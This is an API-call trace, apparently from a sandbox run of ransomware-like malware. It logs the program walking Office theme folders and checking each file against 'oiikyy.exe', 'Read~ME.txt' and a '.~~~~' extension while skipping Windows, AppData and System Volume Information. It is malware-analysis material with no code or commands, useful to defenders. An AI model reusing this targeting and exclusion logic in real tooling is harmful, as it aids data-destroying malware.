	[0078.548] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.548] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.548] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.548] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.548] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.548] GetCurrentThreadId () returned 0x618
	[0078.548] RtlWakeConditionVariable () returned 0x365f48
	[0078.548] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1
	[0078.548] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="Windows") returned -1
	[0078.548] lstrcmpW (lpString1="RMNSQUE.ELM", lpString2="oiikyy.exe") returned 1
	[0078.548] StrStrW (lpFirst="RMNSQUE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.548] lstrcmpW (lpString1="RMNSQUE.ELM", lpString2="Read~ME.txt") returned 1
	[0078.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.548] GetCurrentThreadId () returned 0x618
	[0078.548] RtlWakeConditionVariable () returned 0x365f48
	[0078.548] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1
	[0078.548] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="Windows") returned -1
	[0078.548] lstrcmpW (lpString1="RMNSQUE.INF", lpString2="oiikyy.exe") returned 1
	[0078.548] StrStrW (lpFirst="RMNSQUE.INF", lpSrch=".~~~~") returned 0x0
	[0078.549] lstrcmpW (lpString1="RMNSQUE.INF", lpString2="Read~ME.txt") returned 1
	[0078.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.549] GetCurrentThreadId () returned 0x618
	[0078.549] RtlWakeConditionVariable () returned 0x365f48
	[0078.549] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.549] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.549] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.549] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.549] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6020
	[0078.549] GetCurrentThreadId () returned 0x618
	[0078.549] RtlWakeConditionVariable () returned 0x365f48
	[0078.549] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.549] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.549] GetCurrentThreadId () returned 0x618
	[0078.549] RtlWakeConditionVariable () returned 0x365f48
	[0078.549] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0078.549] lstrcmpiW (lpString1="SATIN", lpString2="Windows") returned -1
	[0078.549] lstrcmpW (lpString1="SATIN", lpString2=".") returned 1
	[0078.549] lstrcmpW (lpString1="SATIN", lpString2="..") returned 1
	[0078.550] lstrcmpW (lpString1="SATIN", lpString2="AppData") returned 1
	[0078.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", lpSrch="AppData") returned 0x0
	[0078.550] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.550] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", lpString2="C:\\Windows") returned -1
	[0078.550] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.550] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN", lpString2="C:\\System Volume Information") returned -1
	[0078.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.550] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.550] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.550] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.550] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.550] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.550] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.550] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.550] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.550] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.550] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.550] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.551] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.551] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.551] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.551] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.551] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.551] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.551] GetCurrentThreadId () returned 0x618
	[0078.551] RtlWakeConditionVariable () returned 0x365f48
	[0078.551] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1
	[0078.551] lstrcmpiW (lpString1="SATIN.ELM", lpString2="Windows") returned -1
	[0078.551] lstrcmpW (lpString1="SATIN.ELM", lpString2="oiikyy.exe") returned 1
	[0078.551] StrStrW (lpFirst="SATIN.ELM", lpSrch=".~~~~") returned 0x0
	[0078.551] lstrcmpW (lpString1="SATIN.ELM", lpString2="Read~ME.txt") returned 1
	[0078.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.551] GetCurrentThreadId () returned 0x618
	[0078.551] RtlWakeConditionVariable () returned 0x365f48
	[0078.551] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1
	[0078.551] lstrcmpiW (lpString1="SATIN.INF", lpString2="Windows") returned -1
	[0078.551] lstrcmpW (lpString1="SATIN.INF", lpString2="oiikyy.exe") returned 1
	[0078.551] StrStrW (lpFirst="SATIN.INF", lpSrch=".~~~~") returned 0x0
	[0078.551] lstrcmpW (lpString1="SATIN.INF", lpString2="Read~ME.txt") returned 1
	[0078.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.551] GetCurrentThreadId () returned 0x618
	[0078.551] RtlWakeConditionVariable () returned 0x365f48
	[0078.552] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.552] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.552] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.552] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.552] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.552] GetCurrentThreadId () returned 0x618
	[0078.552] RtlWakeConditionVariable () returned 0x365f48
	[0078.552] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.552] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba850
	[0078.552] GetCurrentThreadId () returned 0x618
	[0078.552] RtlWakeConditionVariable () returned 0x365f48
	[0078.552] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0078.552] lstrcmpiW (lpString1="SKY", lpString2="Windows") returned -1
	[0078.552] lstrcmpW (lpString1="SKY", lpString2=".") returned 1
	[0078.552] lstrcmpW (lpString1="SKY", lpString2="..") returned 1
	[0078.552] lstrcmpW (lpString1="SKY", lpString2="AppData") returned 1
	[0078.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", lpSrch="AppData") returned 0x0
	[0078.552] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.552] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", lpString2="C:\\Windows") returned -1
	[0078.552] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.553] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY", lpString2="C:\\System Volume Information") returned -1
	[0078.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.566] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.566] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.566] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.566] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.566] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.567] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.567] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.567] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.567] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.567] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.567] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.567] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.567] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.567] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.567] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.567] GetCurrentThreadId () returned 0x618
	[0078.567] RtlWakeConditionVariable () returned 0x365f48
	[0078.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1
	[0078.567] lstrcmpiW (lpString1="SKY.ELM", lpString2="Windows") returned -1
	[0078.567] lstrcmpW (lpString1="SKY.ELM", lpString2="oiikyy.exe") returned 1
	[0078.567] StrStrW (lpFirst="SKY.ELM", lpSrch=".~~~~") returned 0x0
	[0078.567] lstrcmpW (lpString1="SKY.ELM", lpString2="Read~ME.txt") returned 1
	[0078.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.567] GetCurrentThreadId () returned 0x618
	[0078.567] RtlWakeConditionVariable () returned 0x365f48
	[0078.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1
	[0078.568] lstrcmpiW (lpString1="SKY.INF", lpString2="Windows") returned -1
	[0078.568] lstrcmpW (lpString1="SKY.INF", lpString2="oiikyy.exe") returned 1
	[0078.568] StrStrW (lpFirst="SKY.INF", lpSrch=".~~~~") returned 0x0
	[0078.568] lstrcmpW (lpString1="SKY.INF", lpString2="Read~ME.txt") returned 1
	[0078.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.568] GetCurrentThreadId () returned 0x618
	[0078.568] RtlWakeConditionVariable () returned 0x365f48
	[0078.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.568] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.568] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.568] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.568] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.568] GetCurrentThreadId () returned 0x618
	[0078.568] RtlWakeConditionVariable () returned 0x365f48
	[0078.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.568] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.568] GetCurrentThreadId () returned 0x618
	[0078.569] RtlWakeConditionVariable () returned 0x365f48
	[0078.569] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0078.569] lstrcmpiW (lpString1="SLATE", lpString2="Windows") returned -1
	[0078.569] lstrcmpW (lpString1="SLATE", lpString2=".") returned 1
	[0078.569] lstrcmpW (lpString1="SLATE", lpString2="..") returned 1
	[0078.569] lstrcmpW (lpString1="SLATE", lpString2="AppData") returned 1
	[0078.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", lpSrch="AppData") returned 0x0
	[0078.569] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.569] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", lpString2="C:\\Windows") returned -1
	[0078.569] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.569] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", lpString2="C:\\System Volume Information") returned -1
	[0078.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.604] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.604] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.604] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.604] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.604] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.604] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.604] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.604] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.604] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.604] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.604] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.604] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.604] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.604] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
